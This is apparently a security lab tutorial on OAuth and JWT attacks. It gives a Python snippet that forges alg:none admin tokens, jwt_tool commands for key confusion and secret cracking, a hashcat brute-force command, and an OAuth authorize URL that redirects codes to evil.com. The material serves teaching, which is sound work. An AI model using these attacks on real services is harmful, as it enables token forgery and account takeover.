OAuth & JWT Attacks

🎯 Lab Objectives

Decode and understand JWT structure and signature verification
Exploit algorithm=none to forge tokens without a secret
Exploit HMAC-RSA confusion (RS256 to HS256) attacks
Brute force weak JWT secrets with hashcat
Attack OAuth 2.0 authorization code flows
Exploit OAuth CSRF via missing state parameter and open redirect_uri

Topics Covered

JWT header, payload, and signature breakdown
alg:none attack — unsigned token forgery
RS256 to HS256 key confusion attack
JWT secret cracking with hashcat and jwt_tool
OAuth 2.0 flows and implicit grant vulnerabilities
OAuth CSRF and redirect_uri manipulation for code theft

JWT Anatomy

# JWT = base64(header) . base64(payload) . signature
# Decode the header manually
echo "eyJhbGciOiJSUzI1NiJ9" | base64 -d
# {"alg":"RS256"}

# Tool: jwt_tool
python3 jwt_tool.py TOKEN -T        # tamper interactively
python3 jwt_tool.py TOKEN -C -d wordlist.txt  # crack secret

Algorithm None Attack

# Change alg to "none" and remove the signature
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Remove signature but keep the trailing dot

import base64, json

header  = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.b64encode(json.dumps({"user":"admin","role":"admin"}).encode()).rstrip(b'=')
token   = f"{header.decode()}.{payload.decode()}."

RS256 to HS256 Confusion

# If the server accepts both RS256 and HS256:
# Sign the token with the PUBLIC key treated as an HMAC secret
# The server verifies using the public key (which you know), so you can forge tokens

python3 jwt_tool.py TOKEN -X k -pk public.pem

Brute Force Weak Secret

# hashcat
hashcat -a 0 -m 16500 TOKEN /usr/share/wordlists/rockyou.txt

# jwt_tool
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

OAuth Attacks

# Open redirect in redirect_uri — steal the authorization code
https://auth.target.com/oauth/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://evil.com/callback&
  response_type=code&
  scope=openid

# Missing state parameter — OAuth CSRF
# Craft a link with victim's auth code, force victim to complete it
# Attacker receives the victim's access token bound to attacker's account

✅

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🎯 Lab Objectives

Topics Covered

JWT Anatomy

Algorithm None Attack

RS256 to HS256 Confusion

Brute Force Weak Secret

OAuth Attacks

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